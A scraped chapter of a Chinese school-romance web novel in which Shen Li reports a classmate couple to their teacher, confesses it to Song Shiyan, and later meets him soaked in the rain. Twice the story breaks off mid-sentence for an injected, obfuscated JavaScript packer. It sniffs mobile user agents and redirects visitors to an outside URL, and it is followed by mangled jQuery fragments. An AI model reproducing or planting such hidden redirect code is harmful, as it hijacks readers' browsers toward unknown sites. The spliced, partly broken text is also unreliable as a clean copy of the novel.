沈梨乖巧的将双手背在了身后,转身准备走,余光便看见了隐忍着怒气的老陈,身后跟着宋时晏和江初月,她垂下了眼睛,没敢看。 才走到办公室门口,就听到老陈说:“你们胆子不小啊,在我的眼皮子底下敢公然违纪,没什么好说的,通知家长过来吧。” 沈梨使不上力,扶了下门框。 “宋时晏,你也就能搞两天好的,还以为你洗心革面打算好好做人了,原来是在这里等着我的是吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982359|148192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈梨离开了办公室,不敢再往下面听。 整节体育课,他们俩人都没回来,从食堂吃完午饭回到教室,依旧没有他们的身影,是在快要打午休铃时,宋时晏和黎荇他们才不慌不忙地从后门进来。 有说有笑的,宋时晏单手插兜,神色如常,心情似乎没受什么影响,还在讨论刚刚打的那场篮球,哪里没发挥好。 他停在过道前,尽管没说话,沈梨握着笔,也感受到了他无声的压迫感,教室几乎满员,叽叽喳喳地很是吵闹。 沈梨站起身来,往两人中间的那块空地上撤了下步子,宋时晏抬脚大跨步越过椅子从她身前经过,距离有点近,校服粗糙的布料擦到了她的鼻尖。 沈梨好像闻到了他校服身上洗衣液的一点玫瑰花香,沈梨的心又开始‘咚咚咚’跳了,她好想问,这事是如何处理的,江初月怎么还没回来。 她不敢开口。 这种诡异的尴尬气氛,一直持续到午休结束,江初月回来了,她的脸色不太好,眼睛有点红肿,脸也肿,应该哭了挺久的。 这让沈梨的心更加揪了起来。 她努力拉回自己的思绪,在草稿纸上演算过程,斜对角的周薇凑过来,将下巴抵在她堆高的书本上:“梨梨,江初月咋了,她怎么突然换位置了。” “....不知道。” 沈梨的心里生出一丝卑劣感,这件事,她真的做得对吗,自问,要是对方不是宋时晏,她会多此一举的去告发吗? 答案是不会的。 周薇‘哇’了一声:“她怎么换那么远去了,直接从右边换到左边,这都要横跨整个教室了。” 沈梨手中的笔差点被折断。 宋时晏从外面回来,看到江初月在收拾课桌上的东西,走过去帮忙一起收,将她的东西一次性都给搬了过去。 江初月眼睛又红了:“宋时晏,你说的话还算数吗。” 宋时晏知道她说的是‘不分手’的事:“算数,别多想,反正跟平时也差不多,别让老陈看到了就行。” “好。” 双方被叫了家长,江初月被她爸当着众人的面被骂了个狗血淋头,甚至脸上还挨了一耳光,要不是有老陈跟宋时晏阻拦,她可能还会挨更多的打。 这个耳光,她会一直记得的。 沈梨,都是沈梨的错,就是她害的。 两人在家长面前,写了检讨,不会再有联系,若是再被发现,会考虑给其中一人换个班,适应新班级是一件很麻烦的事,他们都不想转班,当着老陈的面,又被要求写了保证书。 宋时晏回到座位上的时候,沈梨不知道出于什么心理,在他要坐下时,很轻地说了声对不起。 宋时晏以为自己听错了:“什么?” 沈梨知道现在的自己,无法在他面前说出一句完整的话,便都写在了纸上:你们的事,是我去跟老陈说的,我没什么要解释的,只是想说,要是伤害到你了,我很抱歉。 其实心里有一点后悔,可以有更好的方法去解决这件事的,没必要搞得这般难堪,还是她有些着急了。 宋时晏冷静看完,把纸条撕了:“做都做了,就别后悔了,没什么好对不起的,这本来就在你的职责内,理解。” 16. 第 16 章 沈梨漠然的看着那些碎纸,被他塞到了桌肚里,忽而想到,长痛不如短痛,短痛不如快刀斩乱麻这句话。 拖得时间越久,宋时晏受到的伤害会越大。 所以只是稍微整理了下自己的情绪后,沈梨便又恢复了那个面无表情的冷酷模样,平静道:“我还有几句话想跟你说。” 顿了一下,她补充:“信不信由你。” 她有点紧张。 宋时晏也有点意外,说了句行。 沈梨便将那晚看到的听到的一五一十都跟他说了,这之后,他们之间的气氛沉默了很久,安静得沈梨都不知道要不要象征性地客气一下时,宋时晏突然开口:“我知道了。” 再没有别的反应。 沈梨也不敢表现得太明显,说完就去写卷子了,就好像她单纯只是偶然撞见,作为同桌,良心上过不去告知他一声而已。 事实上,宋时晏确实是这么想的,他根本就没觉得沈梨喜欢的那个人会是自己,也不会觉得沈梨在这里胡诌,来诬陷江初月,因为根本没这个必要。 只是,他没想到,自己说不上有多喜欢江初月,但作为名义上男朋友,他觉得该做的都做了,自我评价做得也还都挺好的,至少那些兄弟每次看到他,总是会插科打诨地说一句:“每次看晏哥对校花那样,都觉得像个舔狗。” 最铁的兄弟都这么说了,难道还不足以证明,他这个男朋友做得有多到位吗? 当初还没在一起时,江初月就有解释过秦渊是她的青梅竹马,又屡次帮过她逃出继父的殴打,对他是一种哥哥的情感,所以宋时晏哪怕在学校里听到了很多风言风语,也当没听到,不在意,他相信她。 现在想来,他就是个彻头彻尾被戏弄的大傻子。 偏偏,年少藏不住心事,又有点爱装,每次聊到谁一周之内又换了个女朋友时,总会提到’深情‘的宋时晏,那些人起哄着说自己要谈到了校花,一定比他还要深情,这不是谈不到嘛,宋时晏每回听了都只是客气笑笑,又有那么一点的暗爽。 然而现在... 宋时晏不知道怎么捡回这个面子。 他堂堂一个大少爷,又有钱又有点小帅的,居然还被...戴绿帽子了? 宋时晏薅自己头发薅了一中午,都没想明白,该怎么处理这事,才能让那些缺德兄弟不嘲笑他,很没面子的,好吧。 宋时晏没觉得有多难过,就是有点气,气着气着,又觉得有点好笑。 从小到大收到的情书不知道有多少封,以往对这种事不感兴趣,基本都是礼貌婉拒,前段时间,突然心血来潮想试试谈恋爱是个什么感觉,结果挑来挑去,给自己挑了顶绿帽子,这应该可以写进他的黑历史了。 午休结束铃响了,宋时晏没睡着,沈梨也没睡着,她一直有在偷偷观察宋时晏的反应,感觉他有点焦躁,还有点痛苦,大概可能还想发泄一下情绪,因为一直在抓头发。 她心中一片苦涩,又不禁在想,说得这么直白,对他来说,是不是有点残忍了。 沈梨还趴在桌上,借着自己宽阔的校服遮挡,偷偷睁开了一只眼睛在看他。 前前后后的同学,慢慢地都已经从午睡中醒过神来,沈梨刚想也跟着起身,忽而瞧见宋时晏猛地凑近着自己,她呼吸一窒,以为被发现,吓得闭上了眼睛。 听见宋时晏小声嘟囔:“班长怎么还没睡醒。” 沈梨:“......” 她顺势‘醒来’,又过了好一会。 宋时晏顶着有些惺忪的双眼,小声问她:“班长,你跟我说的事,她发现你没?” 沈梨想了想,如实点头。 宋时晏原本想直接摊牌,说分手,听到沈梨这么说,他就有点犹豫了,要现在去说,江初月应该很快就会想到是沈梨跟他说了什么。 到时要是去找了沈梨的麻烦,他心里肯定会过意不去,等同于无妄之灾了,所以摊牌这事还得从长计议。 想到了什么,宋时晏又问:“是因为听到了这个,才要去跟老陈告发的?” 沈梨沉默地点了下头。 “班长,对不起啊。”宋时晏有些歉疚道,“午休前,对你态度不太好,当时有点情绪,没有控制好。” 沈梨心脏酸酸软软的,听见自己小声说:“没事...” “对了,可以帮我保守这个秘密么,我需要点时间处理下。” 沈梨想,她能理解的。 真心被这般践踏,换谁都接受不了。 宋时晏能做到这么平静,已经比很多人都要厉害了。 - 沈梨没想到,江初月会主动找上自己,而且是趁宋时晏不在的时候,她坐在蒋奇的位置上,转过身来,同她嬉皮笑脸:“沈梨,这周六,别忘了去赴约。” “?” “忘了吗,周一小操场那里。”她眨了眨眼,“我给他发了信息的,他答应我说了会去噢,我反正是肯定不会去的,就在市图书馆的对面那家猫咖。” 经她提醒,沈梨想起来了,但依旧弄不明白她什么意思,不是都去告发了,还这么帮她做什么? 沈梨平静道:“没空。” 江初月扯了扯唇,不甚在意:“那就随便你了,反正他是肯定会一直在那等我的,等的时间久了,他就会知道回去的。” 沈梨的心情还是被她弄乱了,总是这么轻而易举的就撩起她的情绪,握着的笔,在纸上划出重重地一道,沈梨什么话也没说。 江初月看着她过于冷静的反应,继续道:“虽然你告发我了,是个很不道德的行为,但没关系,这反倒让我和他的感情更加稳固了。” “唉,可真是一件让人困扰的事。”江初月笑,“沈梨,你一定不知道他平时有多粘人吧,我给过你机会了,能不能抓住,就看你自己了。” 沈梨冷冷地看了她一眼:“是老陈罚得不够重,还想让我继续告发一次?” 江初月的神色顷刻间就变了,她愤愤地站起了身来:“沈梨,难怪你没朋友,真恶毒。” “......” 洗手归来的周薇只在窗外看到了江初月的身影,一进来,就没瞧见人:“梨梨,江初月刚才是在找你说话吗?” 沈梨嗯了声。 周薇愣了下:“她来说什么的。” 沈梨看了眼她,如实说:“她说我没朋友。” “......靠,去她奶奶个腿的。” 周薇血压直飚,撸起了袖子,突然大喊了一声:“梨梨!” 在一众讨论声的教室里,就像是有人突然拿起喇叭,‘喂’了一声,确认不少人视线放在了自己身上,周薇才忍着脸热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13982360|148192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,继续夸张道:“梨梨,你也太厉害了,怎么什么题目都会啊,还好我有个你这么好的学霸朋友。” 江初月的脸色变得铁青。 沈梨没忍住,噗嗤笑了一声,心里暖暖的。 蒋奇难得没睡觉,在走廊外聊得正兴起,突然就听见她的怪叫声,好奇趴在窗台上,听完后毫不客气地嘲笑:“周薇,你是不是傻子。” 周薇瞪了他一眼:“要你管!” - 周六,南城下了一天的雨。 雨势渐大,像是天空破了个口子,一直往下倒雨,没有停歇的意思。 沈梨原本有个学生要补英语的,对方家长看雨太大,担心路上不安全,索性改了时间,下周再一起将时长补上。 寄宿在大伯家的日子并不轻松,爸妈打过来的钱从来没经过她的手,除了学费,吃饭必须要用到的钱,大伯母从不会多给她一分。 沈梨不喜欢这种被人拿捏的感觉,每次想要买个什么东西,找大伯母开口,都会先被阴阳怪气一顿她吃白饭,自己家里两个孩子照顾起来也不容易,她爸妈打的钱也不够,有时还得贴补。 沈梨从不信她大伯母的鬼话,大伯父懦弱无能,一家子吞了她爸妈的血汗钱还要这么苛待她。 高一那年的寒假,在学姐的帮助下,获得了一份家教的工作,赚了点钱,沈梨便伪造起了大学生的身份,央求学姐又给她找了几个。 时间久了,渐渐有了点名声,就在家长群里传开,每个周末,基本都会去外面教学,但这些是瞒着大伯母的,她每回都是以别的借口出的门。 眼看着到了约定的时间点,雨势愈来愈烈,几乎是瓢泼大雨,淋到人身上都会痛的那种,沈梨坐在窗前,隐隐有些不安起来,宋时晏应该不会那么傻,真的在那等吧? “.......” 也不是没有那个可能。 雨太大,沈梨只是刚离开小区,就被淋湿了半边,在马路边,等了许久,才坐上一辆愿意搭她的车,还因为弄湿了座椅,多付了一倍的车钱。 等到了市图书馆对面的那家猫咖,她身上其实已经被淋得差不多了,刘海湿得彻底,都在往下滴水,糊了眼睛。 她刚推开猫咖的门,就有个女生迎了上来,看到沈梨狼狈的模样,愣了愣,连忙抽了几张纸,给她。 “谢谢。” 雨水滴在地板上,汇集成一个小水洼,沈梨看出女生眼里的为难,没有再往前走一步,就那么的停在门口,看了一圈,只有猫:“不好意思,我是来找人的,我同学好像不在这,打扰了。” 女生忙点点头:“没事,你...要不要进来吹干一下头发?” 沈梨再次道谢之后退出去了,心里轻松不少,没来就好,至少知道了下大雨不出来,还没有笨到那种地步。 女生给的纸已经湿透,刘海还在滴水,出门时涂的那点粉底也被雨水泡得全成了褐色脏水往下巴处滴。 旁边有个便利店,刚靠近,门就开了,发出机械的一声‘欢迎光临’,沈梨走了进去,想去前台买包纸。 却在前方距离两米远的地方,看见了一个熟人,她愣在原地,浑身被淋得湿透、头发跟刚洗过、正在拧衣服水的宋时晏似有所感,抬起了头。 怔了两秒,宋时晏傻傻一笑:“班长,好巧。”